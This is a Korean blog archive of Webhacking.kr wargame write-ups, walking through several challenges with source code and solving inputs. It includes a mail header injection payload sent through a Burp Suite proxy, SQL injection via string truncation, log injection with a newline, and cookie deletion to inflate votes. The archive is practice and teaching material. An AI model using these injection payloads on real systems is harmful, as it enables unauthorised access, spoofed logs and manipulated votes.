Wargame/웹해킹(Webhacking.kr)

이런...


7번. nice try만 뜬다고 함.. 안해봐서 모름


19번.. 안됨.. 씁...

'Wargame > 웹해킹(Webhacking.kr)' 카테고리의 다른 글

[Webhacking.kr] 21번 BLIND SQL INJECTION  (0) 2017.10.12
[Webhacking.kr] 20번  (0) 2017.10.12
[Webhacking.kr] 58번  (0) 2017.10.09
[Webhacking.kr] 54번  (0) 2017.09.28
[Webhacking.kr] 47번 Mail Header injection  (0) 2017.09.28

[Webhacking.kr] 58번

2017. 10. 9. 23:31

문제에 들어가면 


webhacking.kr challenge 58


PW : 


      login 



이렇게 나와있다.


아무거나 패스워드를 입력하고 login을 누르면 Wrong이라고 뜬다.


일단 소스를 보자.


1
2
3
4
5
6
7
8
9
10
11
<html>
<head>
<title>Challenge 58</title>
</head>
<body bgcolor=black>
<br><br><br>
<center>
<script src=kk.js></script>
</center>
</body>
</html>
cs


이렇다. kk.js가 띄워지는게 다다.


ks.js를 눌러보았다.


kk.js의 내용

kk=document.URL; kk=kk.substr(10,4);

위와 같은 게 있다. 


kk에 url을 인덱스 10부터 4개의 문자를 저장한다.


음... 크롬 개발자도구로 보니, 더 있었다...;;


1
2
3
4
5
<center>
<script src="kk.js"></script>
<script src="kk2.js"></script>
<embed src="hackme.swf" width="500" height="400">
</center>
cs



kk2.js의 내용도 알 수 있고, hackme.swf를 볼 수도 있다.

hackme.swf는 글의 맨 위에 있는 pw와 login창이다.


kk2.js의 내용

kk=kk+"me.swf";
document.write("<embed src="+kk+" width=500 height=400></embed>");


음... 이제 좀 알 것 같이 되었다.

kk~kk2의 내용들은 이렇게 된다.


kk = http://webhacking.kr/challenge/web/web-35/

kk = kk.substr(10,4) = hack

kk = kk+"me.swf" = hackme.swf


document.write(<embed src="hackme.swf" width="500" height="400">);


위는 뭐 어떻게 할수 없을 것 같다.


일단 hackme가 중요하니 이걸 풀면 될 것같다.


http://webhacking.kr/challenge/web/web-35/hackme.swf 를 하자 hackme.swf가 다운로드되었다. (시크릿모드에서)

아니면 크롬-도구더보기-페이지를 다른 이름으로 저장 하면된다.


뭐... 저걸 분석할 툴은 hexediter 등을 이용하면 된다. 하지만 지금(필자입장)은 그런게 없어서... 급한대로 메모장으로 열었다.


맨 끝에 보면 http://webhacking.kr/challenge/web/web-35/g1v2m2passw0rd.php 라는것을 발견할 수 있었다.


url로 들어갔더니 성공...





You have cleared the 58 problems.

Score + 150



[Webhacking.kr] 54번

2017. 9. 28. 23:55

Password is


문제에 들어가면 위의 문장이 하나 떠있다. 조금 기다리면

Password is 뒤에 한글자씩 문자가 나온다. 아마 Password를 한글자씩 알려주는 것 같다...


일단 소스를 보자.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<html>
<head>
<title>Challenge 54</title>
</head>
<body>
<h1><b>Password is <font id=aview></font></b></h1>
<script>
function run(){
  if(window.ActiveXObject){
   try {
    return new ActiveXObject('Msxml2.XMLHTTP');
   } catch (e) {
    try {
     return new ActiveXObject('Microsoft.XMLHTTP');
    } catch (e) {
     return null;
    }
   }
  }else if(window.XMLHttpRequest){
   return new XMLHttpRequest();
 
  }else{
   return null;
  }
 }
 
x=run();
 
function answer(i)
{
x.open('GET','?m='+i,false);
x.send(null);
aview.innerHTML=x.responseText;
i++;
if(x.responseText) setTimeout("answer("+i+")",100);
if(x.responseText=="") aview.innerHTML="?";
}
 
setTimeout("answer(0)",10000);
 
</script>
</body>
</html>
 
cs


뭐가 엄청 복잡하다. 일단 answer이라는 함수가 중요해보인다.


이 함수는 setTimeout함수를 통해 실행된다. 자바스크립트에서 setTimeout함수는 어떤것인지 먼저 보겠다.


setTimeout([Function], [Milliseconds])

 

 - 특정 시간 이 후, 단 한번만 특정 함수 또는 코드를 실행시킬 때 사용합니다.

 - 2번째 인자의 시간(Milliseconds)이 경과하면 1번째 인자의 함수를 실행합니다.


그러므로 setTimeout("answer(0)",10000); 이 부분은 10000ms , 10초 후에 answer함수에 인자 0을 넣어 실행하라! 라는 의미이다.


실제로 문제페이지에서 10초를 기다리면 그 때부터 문자가 하나씩 나오기 시작한다.


뭐 저걸 하나하나 일일이 적어서 봐도 되긴하지만 그러기엔 너무 귀찮으므로... 크롬 개발자도구를 이용해서 위의 자바스크립트부분을 조금 수정하면


하나씩 뜨던걸 바꿀수 있지 않을까 싶다.


계속해서 answer 함수부분을 보자


function answer(i)
{
x.open('GET','?m='+i,false);
x.send(null);
aview.innerHTML=x.responseText;
i++;
if(x.responseText) setTimeout("answer("+i+")",100);
if(x.responseText=="") aview.innerHTML="?";
}


보면 재귀로 이루어져있는 것을 볼 수 있다. x.responseText값이 없을 때가 재귀에서 탈출하는 조건이고


값이 있다면 100ms, 0.1초 후 answer함수를 i+1한 걸로 호출한다.(i++)


그럼 작동방식은 어떻게 되나 살펴보자, x=run()인데 run을 통해서 무언가를 x에 저장한다.

x.open('GET','?m='+i,false); // x에서 GET방식으로 m에 i를 해서 페이지를 연다.
x.send(null);                   // 첫줄에서 GET방식으로 연것을 보낸다.
aview.innerHTML=x.responseText; // html페이지로 x.responseText값을 노출시킨다.
i++;


이러고 재귀로 돌아간다. aview.innerHTML의 값이 0.1초마다 계속 다른 값으로 대입되므로 바뀌게 되는 것이다.


그러므로 이 부분을 aview.innerHTML+=x.responseText; 로 바꾸면 값이 대입되어 바뀌는게 아니고 계속 추가되는 것이므로 

계속 출력될 것을 알 수 있다. 또 if(x.responseText=="") aview.innerHTML="?"; 이 부분은 x.responseText 값이 없으면 ?로 바꾸는 부분이므로

지워버리는게 좋을 것같다.


이제 크롬 개발자도구로 수정해보자.


수정된 소스는 아래와 같다.


...는 안되서 그냥 밑과 같은 것을 개발자도구에서 Console에 입력했다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function run(){
  if(window.ActiveXObject){
   try {
    return new ActiveXObject('Msxml2.XMLHTTP');
   } catch (e) {
    try {
     return new ActiveXObject('Microsoft.XMLHTTP');
    } catch (e) {
     return null;
    }
   }
  }else if(window.XMLHttpRequest){
   return new XMLHttpRequest();
 
  }else{
   return null;
  }
 }
 
x=run();
 
function answer(i)
{
x.open('GET','?m='+i,false);
x.send(null);
aview.innerHTML+=x.responseText;
i++;
if(x.responseText) setTimeout("answer("+i+")",100);
}
answer(0);
 
 
cs



밑과 같은게 출력됬다. 중간을 *로 하겠다.

a64**************************f8e

정답을 Auth에 입력하면 클리어된다.


challenge 54 clear!!

Mail Header injection

*서버문제로 mail함수는 주석처리 해놓은 상태이며 취약점을 공략할 수 있는 구문을 입력했을 때
정답이 출력되도록 하드코딩 해놨습니다.

Mail :


문제는 이렇게 되있다.


소스보기를 했을 때 주석을 통해 index.phps의 존재를 알 수 있다.


index.phps를 통해 소스를 보겟다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<html>
<head>
<title>Challenge 47</title>
</head>
<body>
Mail Header injection
<pre>
<form method=post action=index.php>
<font size=2>Mail</font> : <input type=text name=email size=50 style=border:0 maxlength=50><input type=submit>
</form>
 
<?
if($_POST[email])
{
$pass="????";
$header="From: $_POST[email]\r\n";
mail("admin@webhacking.kr","readme","password is $pass",$header);
echo("<script>alert('Done');</script><meta http-equiv=refresh content=1>");
}
?>
 
</pre>
 
<!-- index.phps -->
 
</body>
</html>
cs


위와 같다.


post방식으로 POST[email]을 입력받는다.


$header="From: $_POST[email]\r\n";

mail("admin@webhacking.kr","readme","password is $pass",$header);


그 뒤 위와 같은 처리를 한다.


php mail함수에 대한 내용은 여기에 있다. 


간단히 요약해 말하면 mail(받난사람, 제목,  내용, 참조(추가헤더정보)) 이다.

그렇다면 위 코드에 따르면 아래와 같이 된다.


받는 사람  : admin@webhacking.kr

제목         :  readme

내용        : password is *****

헤더        : From $_POST[email]\r\n


여기서 mail header injection을 구글 등을 통해 검색해보면 header에 cc 와 bcc 등이 취약하다고 나와있다.

뭐 참고로하기 위해 여러가지 나열해보자면 아래와 같이 있다.


1. 발신자 인수 후 참조 및 숨은 참조 삽입

보낸 사람: sender@domain.com%0ACc: recipient@domain.co.%0ABcc:recipient2@domain.com

이러면 이메일이 받는 사람이외에도 recipient과 recipient2에게도 보내진다.


2. 주입 인자

보낸 사람: sender@domain.com%0ATo: attacker@domain.com

이제 메세지가 원래 수진자와 공격자 계정으로 전송된다.


3. 제목 인수 삽입

위조된 주제의 제목으로 ...

4. 메세지 본문 변경

가짜 메세지를 원본 메세지에 추가하는 인젝션... 


등등... 자세한건 찾아보자!


cc(Carbon Copy, 참조) : 수신자 외 다른 사람에게도 수신

bcc(Blind Carbon Copy, 숨은 참조) : 수진자 외 다른 사람에게도 수신(수신자에게 보이지않음)


우리는 이 header의 내용을 수정할 수 있고 이 cc 옵션을 이용하여 password가 적힌 이메일을 다른 사람에게도 보낼수 있다.

그러므로 이 cc를 이용해 자신에게 이 password가 적힌 내용을 보낼 수 있다.


php mail함수 설명에 따르면 (From, Cc, Bcc) 여러 추가 헤더는 CRLF(\r\n)로 구분해야 합니다.라고 한다.

그러므로 post로 보낼 내용은 밑과 같이 할 수 있다.


TEST@test.test\r\n cc:myemail@tistory.com


참고로 이 문제는 *서버문제로 mail함수는 주석처리 해놓은 상태이며 취약점을 공략할 수 있는 구문을 입력했을 때 정답이 출력되도록 하드코딩 해놨습니다. 라고 하므로 이렇게만 입력해도 정답이 출력될 것이라 본다.


라고 생각했는데 안된다 으그ㅡ.ㅁ.

왜 안되나 생각했는데... mail함수를 주석처리인듯... 취약점을 공략할 수 있는 구문이라 생각했는데 뭐... \r\n이 제대로 안들어가는 듯 ㅠ;


파로스(paros)를 써야겠다. 파로스 사용법은 알아서.... (도구 - 인터넷 옵션 / 연결 - lan설정 - 프록시서버 사용)

아니면 버프슈트(Burp Suite)도 나쁘지 않다. 


버프슈트(Burp Suite) : POST형식으로 전송되는 값을 볼 수 있고, 값도 조작 가능


ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ 여기서 이거 사용하려면 설치하기가 너무 힘들어 ㅁㄴㅇㄹ JDK부터 귀찮아서 일단 뒤로 미룸 ㅡㅡ;;




수정 + 2018.03.25


파로스를 쓰려고 하였다. 결론부터 말하자면 64비트 JDK 안지우면 불가능했다 ㅡㅡ;;

근데 저걸 지우면 내가 지금까지 쓰던 이클립스가 구동이 안된다...

그렇다고 이클립스를 이제와서 32비트로 갈아치우자니 나중에가면 이클립스에 문제가 생길거같아서 하루종일 64비트삭제없이 32비트만 설치해서

구동시키는 법을 알아보았다.

결론은 그런거는 없었다 ㅁㄴㅇㄹ


그래서 버프슈트를 쓰기로 하였습니다.


먼저 프록시 서버를 설정하고 (간편하게 크롬 확장도구로 Falcon Proxy를 사용)


Mail에 아무값이나 집어넣고 제출한것을 Intercept로 잡았습니다.




Post방식으로 보내는 email 파라미터값이 보인다. 이제 저값을 TEST@test.test\r\n cc:myemail@tistory.com와 같이 수정해주자.



그리고 Foward해서 파라미터가 수정된 Request를 보내니 문제가 풀렸다.









'Wargame > 웹해킹(Webhacking.kr)' 카테고리의 다른 글

[Webhacking.kr] 58번  (0) 2017.10.09
[Webhacking.kr] 54번  (0) 2017.09.28
[Webhacking.kr] 39번  (0) 2017.09.28
[Webhacking.kr] 38번  (0) 2017.09.25
[Webhacking.kr] 33번  (0) 2017.09.21

[Webhacking.kr] 39번

2017. 9. 28. 22:34

문제다. 입력창과 제출버튼이 있다.


소스를 보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
<title>Chellenge 39</title>
</head>
<body>
<!-- index.phps -->
 
 
<form method=post action=index.php>
<input type=text name=id maxlength=15 size=30>
<input type=submit>
</form>
</body>
</html>
cs

위와 같다. 

친절하게 index.phps를 제공해준다.

바로 보도록하자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<html>
<head>
<title>Chellenge 39</title>
</head>
<body>
 
<?
$pw="????";
if($_POST[id])
{
$_POST[id]=str_replace("\\","",$_POST[id]);
$_POST[id]=str_replace("'","''",$_POST[id]);
$_POST[id]=substr($_POST[id],0,15);
$q=mysql_fetch_array(mysql_query("select 'good' from zmail_member where id='$_POST[id]"));
if($q[0]=="good") @solve();
}
?>
 
<form method=post action=index.php>
<input type=text name=id maxlength=15 size=30>
<input type=submit>
</form>
</body>
</html>
 
cs


POST로 id를 받아서 필터링을 거쳐 query에 넣는다.


필터링으로는 \을 없애고, 싱글쿼터(')을 싱글쿼터 2개('')로 바꾼다.


그리고 substr(문자열, 시작index, 길이) 함수를 이용해 앞 15글자를 잘라서 $_POST[id]에 저장하고 다음 쿼리에 넣는다.


select 'good' from zmail_member where id='$_POST[id]


그리고 이 결과 q[0] 값이 "good"이라면 solve이다.


일단 제출값으로 아무값이나 넣어봤다... 오류가 뜬다. 

아마 위 쿼리문의 마지막 '(싱글쿼터)가 없어서 오류가 뜨는 것같다.


그런데 저 값이 필터링에 의해 바뀌어 버리니...;;


그런데 여기서 싱글 쿼터가 2개가 되는 이 상황에서 싱글쿼터를 1개로 만들 방법이 substr함수에 있다.

POST[id]값이 15자를 넘어가게 되면 0-15까지만 짤라서 사용하므로 만약 싱글쿼터가 15번째에 위치한다면 

replace에 의해 16번째에 생기게 된 싱글쿼터 하나가 짤리게 될 것이다.


이제 입력하자 admin+(공백)*9+'를 하면 될 것 같다.

admin         '






You have cleared the 39 problems.

Score + 100


참고로 admin말고도 (good          ')을 입력해도 성공한다.


'Wargame > 웹해킹(Webhacking.kr)' 카테고리의 다른 글

[Webhacking.kr] 54번  (0) 2017.09.28
[Webhacking.kr] 47번 Mail Header injection  (0) 2017.09.28
[Webhacking.kr] 38번  (0) 2017.09.25
[Webhacking.kr] 33번  (0) 2017.09.21
[Webhacking.kr] 32번  (0) 2017.09.18

[Webhacking.kr] 38번

2017. 9. 25. 23:50

LOG INJECTION

 



이렇게 있다. 소스보기!!


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 
<html>
<head>
<title>Challenge 38</title>
</head>
<body>
<h1>LOG INJECTION</h1>
<!-- admin.php -->
 
<form method=post action=index.php>
<input type=text name=id size=20>
<input type=submit value='Login'><input type=button value='Admin' onclick=location.href='admin.php'>
</form>
</body>
</html>
 
cs


 Login과 Admin 버튼이 있는데 Admin버튼을 눌러 admin.php에 들어가면


log viewer가 나온다. 소스보기!


1
2
3
4
5
6
7
8
9
10
11
12
13
14
 
<html>
<head>
<title>log viewer</title>
</head>
<body>
<!--
hint : admin
-->
log<br><br><br></body>
</html>
 
cs


힌트가 admin이라고 한다.


admin을 입력하고 login을 눌러보았다. 


you are not admin

이라고 뜬다. 혹시 몰라 guest나 다른 단어를 입력해보았으나 아무일도 일어나지 않았다.


한참 입력하다가 Admin버튼을 다시 누르니 지금까지 입력한 log가 나왔다.

참고로 admin은 로그에 남지 않는다. 실패해서 그런가 싶다.


다음날 다시 log보기를 해봤다.

다른 사람이 한것까지 나오는듯 하다. 신기하네...


211.***.150.***:211.***.150.***:admi 
119.197.***.***:<script> 
119.197.***.***:<script>alert(0)<script> 
121.173.***.***:ㅊㅍㅋ 
221.160.***.***:a 


log에 나오는 내용은 


자신의 ip:입력내용  이다.

log injection을 해야하는 듯하다. 즉 log에 내 아이피로 admin을 찍으면 될듯 하다.


재미있는건 123admin이나 admin!!! 입력해도 필터링에 걸리지 않는다.

즉 admin을 로그에 남기기 위해 admin뒤에 로그에는 남지않는 부분을 붙이면 될것같다.

뒷부분을 날려버리기 위해 개행문자(\n)을 이용하였다.


admin\n 을 입력하면 로그(log)에 123.123.123(자신의 ip):admin이 들어가고 개행문자에 의해 다음행으로 넘어가므로 admin이 로그에 남게될것이다.






You have cleared the 38 problems.

Score + 100





뭐... 방법은 여러가지 있는 것 같다.


입력내용에 asdf\n(자신의ip):admin 으로 푼 사람도 적지않게 있는듯


이렇게 하면 로그에 남는 것은 아래와 같다.


자신의 ip:asdf

자신의 ip:admin


마찬가지로 성공한다.... 로그에 남았으니



'Wargame > 웹해킹(Webhacking.kr)' 카테고리의 다른 글

[Webhacking.kr] 47번 Mail Header injection  (0) 2017.09.28
[Webhacking.kr] 39번  (0) 2017.09.28
[Webhacking.kr] 33번  (0) 2017.09.21
[Webhacking.kr] 32번  (0) 2017.09.18
[Webhacking.kr] 27번  (0) 2017.09.06

[Webhacking.kr] 33번

2017. 9. 21. 23:55

다음 문제~



Challenge 33-1
/challenge/bonus/bonus-6/index.phps


Wrong


이 문제다. index.phps를 봐주자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<hr>
Challenge 33-1<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
 
<?
 
if($_GET[get]=="hehe")
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>
 
cs


위와 같다.


Challenge 33-1 밑으로 이문제의 소스를 보여주는 페이지인 index.phps에 대한 링크가 있다.


이 문제 33은 GET방식으로 get을 받아 get==hehe이면 Next를 출력하고 아니라면 Wrong을 출력한다.


index.php?get=hehe를 url에 입력했다.

( http://webhacking.kr/challenge/bonus/bonus-6/index.php?get=hehe )


Wrong 대신 Next가 나왔다.


클릭하자 Challenge 33-2로 이동하였다.


마찬가지로 소스가 주어진다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<hr>
Challenge 33-2<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
 
<?
 
if($_POST[post]=="hehe" && $_POST[post2]=="hehe2")
{
echo("<a href=##>Next</a>");
}
else
{
echo("Wrong");
}
?>
 
cs


이번엔 POST방식으로 post=hehe와 post2=hehe2로 받으면 다음으로 가는 링크를 보여준다.


이건 좀 복잡하다. form을 만들어서 POST방식으로 전송해야할것 같다.(또는 javascript이용)


크롬 개발자도구(F12)를 이용하여 Edit as HTML을 하여 POST방식 전송을 위한 form을 만들어주면 된다.


1
2
3
4
5
<form method="post" action="lv2.php">
POST <input type="text" name="post">
POST2 <input type="text" name="post2">
<input type="submit" value="Submit">
</form>
cs


위와 같이 넣어주자.


그럼 POST와 POST2에 대한 입력창이 생기므로 여기에 hehe와 hehe2를 넣어 제출하면 된다.


Challenge 33-3이다.


다음은 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<hr>
Challenge 33-3<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
 
<?
 
if($_GET[myip]==$_SERVER[REMOTE_ADDR])
{
echo("<a href=##.php>Next</a>");
}
else
{
echo("Wrong");
}
?>
 
cs


자신의 아이피를 get방식으로 보내면 될것같다.

Webhacking.kr 홈페이지 Challenges 메인창에서 IP를 볼 수 있으니 참고하자.


http://webhacking.kr/challenge/bonus/bonus-6/33.php?myip=100.000.000.000


Challenge 33-4


hint : 156346965


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<hr>
Challenge 33-4<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
 
<?
 
if($_GET[password]==md5(time()))
{
echo("<a href=###>Next</a>");
}
else
{
echo("hint : ".time());
}
?>
 
cs


hint로 time()이 출력되고 있고 get방식으로 md5(time())을 입력해주어야한다.


F5를 계속 눌러보면 알겠지만 hint에 있는 저 숫자가 계속 올라감을 알 수 있다.


적당히 md5로 인코딩해서 F5를 계속 눌러주면 될 것같다.


md5 인코딩 : http://md5encryption.com/

http://www.mimul.com/examples/dencoder/

(찾고나니 알았는데 IP랑 똑같이 Challenge 메인에서 변환할수 있다.)


적당히 time()에서 +40해서 md5인코딩해서 F5를 눌러서 성공


Challenge 33-5



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<hr>
Challenge 33-5<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
 
<?
 
if($_GET[imget] && $_POST[impost] && $_COOKIE[imcookie])
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>
 
cs



get방식과 post방식과 쿠키의 3콤보!


z쿠키는 크롬확장프로그램 EditThisCookie를 이용했다. (또는 크롬개발자도쿠를 이용해도 된다.)

쿠키생성후 아까전과 같이 form으로 POST 입력창을 만들고 get은 url에 입력해서 보내자.


GET :

http://webhacking.kr/challenge/bonus/bonus-6/md555.php?imget=123


POST:

1
2
3
4
5
<form method="post" action="md555.php?imget=123">
POST <input type="text" name="impost">
<input type="submit" value="Submit">
</form>
 
cs


Cookie : 

imcookie 이름으로 아무거나 생성


크롬개발자도구(F12) Console:

document.cookie="imcookie=1";

document.write('<form method="post" action="md555.php?imget=1"><input type="text" name="impost" value="1"><input type="submit"></form>');


Challenge 33-6

hint : Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<hr>
Challenge 33-6<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
 
<?
 
if($_COOKIE[test]==md5("$_SERVER[REMOTE_ADDR]"&& $_POST[kk]==md5("$_SERVER[HTTP_USER_AGENT]"))
{
echo("<a href=###>Next</a>");
}
else
{
echo("hint : $_SERVER[HTTP_USER_AGENT]");
}
?>
 
cs


쿠키값 test==md5(SERVER[REMOTE_ADDR]) 와 post방식으로 kk==md5(SERVER[HTTP_USER_AGENT])을 넣어주면 될것 같다.


간단하다. REMOTE_ADDR을 md5로 인코딩한 값은 Webhacking.kr 홈페이지 Challenges 메인창에서 해결하고 


kk에 넣을 값은 hint에서 디폴트로 출력하고 있다. 저 값을 md5로 인코딩해서 post로 보내자.


document.cookie="test=~";

document.write('<form method="post" action="gpcc.php"><input type="text" name="kk" value="e8aa320ddb6983ade426fcffe3af7f1f"><input type="submit"></form>');


Challenge 33-7


아직도 끝나지 않았다!!??


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<hr>
Challenge 33-7<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
 
<?
$_SERVER[REMOTE_ADDR]=str_replace(".","",$_SERVER[REMOTE_ADDR]);
 
if($_GET[$_SERVER[REMOTE_ADDR]]==$_SERVER[REMOTE_ADDR])
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong<br>".$_GET[$_SERVER[REMOTE_ADDR]]);
}
?>
 
cs


보는 대로다. 내 아이피에서 "."을 뺀값을 GET으로 보내주자.


Challenge 33-8


이젠 놀랍지도 않다. 끝은 대체 어디인가;


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<hr>
Challenge 33-8<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
 
<?
 
extract($_GET);
 
if(!$_GET[addr]) $addr=$_SERVER[REMOTE_ADDR];
 
if($addr=="127.0.0.1")
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>
 
cs


extract는 GET으로 받은 것들을 전부 변수로 변환해주는 역할을 한다. 예전에 어떤 문제풀면서 설명했었다. 그 설명을 가져오면...


extract() 함수는 배열 속의 키값을 변수화 시켜주는 함수이다. (http://php.net/manual/kr/function.extract.php)

extract(array) : array의 key값의 이름으로 변수를 만듬. 변수의 값은 key값에 대응하는 값. ex) extract($_GET) => $addr= $_GET['addr']


그러므로 addr=127.0.0.1을 전송해주면 된다.


Challenge 33-9


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<hr>
Challenge 33-9<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
 
<?
 
for($i=97;$i<=122;$i=$i+2)
{
$ch=chr($i);
 
$answer.=$ch;
 
}
 
if($_GET[ans]==$answer)
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>
 
cs


for문을 분석해보면 i=97~i=122까지의 값을 문자열로 변환해 $answer에 붙이고 있다.(chr은 int형을 char형으로 변환)


php문으로 돌려보든 c언어로 돌려보든... 암튼 해보면


acegikmoqsuwy 가 나온다.


http://webhacking.kr/challenge/bonus/bonus-6/nextt.php?ans=acegikmoqsuwy


Challenge 33-10


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<hr>
Challenge 33-10<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>
 
<?
 
$ip=$_SERVER[REMOTE_ADDR];
 
for($i=0;$i<=strlen($ip);$i++)
{
$ip=str_replace($i,ord($i),$ip);
}
 
$ip=str_replace(".","",$ip);
 
$ip=substr($ip,0,10);
 
@mkdir("answerip/$ip");
 
$answer=$ip*2;
$answer=$ip/2;
$answer=str_replace(".","",$answer);
 
$pw="###";
 
$f=fopen("answerip/$ip/$answer.$ip","w");
fwrite($f,"Password is $pw\n\nclear ip : $_SERVER[REMOTE_ADDR]");
fclose($f);
 
 
 
 
?>
cs


정말로 끝이 있는지 모르겠다.


천천히 분석해 보겠다.


$ip 값을 설정하고 for문을 이용해 ip의 문자열값을 전부 아스키값으로 변환하면서 $ip에 다시 저장한다.


이건 돌려보는게 편하다. 저 php문 그대로 돌려보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$ip="106.246.238.179";
for($i=0;$i<=strlen($ip);$i++)
{
$ip=str_replace($i,ord($i),$ip);
}
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer=$ip*2;
$answer=$ip/2;
$answer=str_replace(".","",$answer);
 
echo "ip : ".$ip."\n";
echo "answer : ".$answer."\n";
?>
cs


이렇게 돌려보겠다. (참고로 풀고나서 알았는데 http://webhacking.kr/pds/phppad/index.php 여기서 php코드를 돌려볼수있다.)


ip : 5510755106

answer : 2755377553


결과다.


원래 소스를 보면 answerip/$ip라는 폴더를 만든다.

즉 answerip/5510755106 라는 폴더가 만들어졌다.


그리고 $pw 값을 answerip/$ip/$answer.$ip 에 쓰고있다.



answerip/5510755106/2755377553.5510755106 라는 파일에 답이 있을것이다.


Password is 13d5c1db6d12892baa9ca3e288d4b5dd

clear ip : ************


굿.... 이제 끝난것 같다.


여담으로... Auth에 들어갔더니 Wrong ip!! 5510755106라고 떳다. .... 문제풀면서 ip가 변조됫어 ㅂㄷㅂㄷ;



'Wargame > 웹해킹(Webhacking.kr)' 카테고리의 다른 글

[Webhacking.kr] 39번  (0) 2017.09.28
[Webhacking.kr] 38번  (0) 2017.09.25
[Webhacking.kr] 32번  (0) 2017.09.18
[Webhacking.kr] 27번  (0) 2017.09.06
[Webhacking.kr] 26번  (0) 2017.09.06

[Webhacking.kr] 32번

2017. 9. 18. 22:48

문제에 들어가면 왠 RANK 표가 나온다.



대충 RANK / NAME / HIT 의 세개가 있고 클릭이 가능해서 클릭하면 no!라며 이벤트창이 띄워진다.


일단 가능한게 없으므로 맨 밑에 있는 join 버튼을 클릭해보았다.


소스보기로 보았을때 이 join의 기능은 onclick=location.href='code5.html?vote=add 이고 클릭하면 자신의 id가 뜨고


랭킹창에 자신의 id가 추가된것을 확인할 수 있다.


그 랭킹창의 아이디를 클릭하면 vote가 되어 hit가 올라가는 구조인것 같다.


클릭하면 hit=name형식으로 전달되는데, 이미 한번 투표한것으로 처리되어서 자신의 아이디를 눌러도 no!라고 뜨며 투표가 되지않는다.


...

...


쿠키였다!!!


쿠키값을 확인해 보면 vote_check라는 쿠키값이 있다.


이걸 삭제하고 다시 닉네임을 클릭하면 no! 대신 hit수가 올라가는 것을 볼 수가 있다.



코딩으로하는게 쉽다...라고 하는데..; 어케 하는지 잘 몰라서 일단 몇번은 수동으로 해야할듯


그냥 수동으로 끝내버렸다... 심지어 100번 넘어버림...ㅋㅋ;


나중에 코딩으로 할수 있는 법을 찾아봐야지


(버그같은걸 알아냈다.. vote_check 쿠키가 없는 상태로 자신의 아이디를 마구 클릭한다. 그럼 hit되서 vote될때까지 약간의 딜레이가있는데 그 딜레이의 사이에서 계속 클릭하다가 F5를 누르면 hit이 굉장히 올라가있당... 와우..ㅋㅋㅋㅋ)


You have cleared the 32 problems.

Score + 150

RANKNAME  HIT

1sherlock104 / 100

21026minja54 / 100
3hsh954139 / 100
4apsshj31 / 100


'Wargame > 웹해킹(Webhacking.kr)' 카테고리의 다른 글

[Webhacking.kr] 38번  (0) 2017.09.25
[Webhacking.kr] 33번  (0) 2017.09.21
[Webhacking.kr] 27번  (0) 2017.09.06
[Webhacking.kr] 26번  (0) 2017.09.06
[Webhacking.kr] 25번  (0) 2017.09.06

[Webhacking.kr] 27번

2017. 9. 6. 23:52

SQL INJECTION 문제이다.


소스를 보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
 
<html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
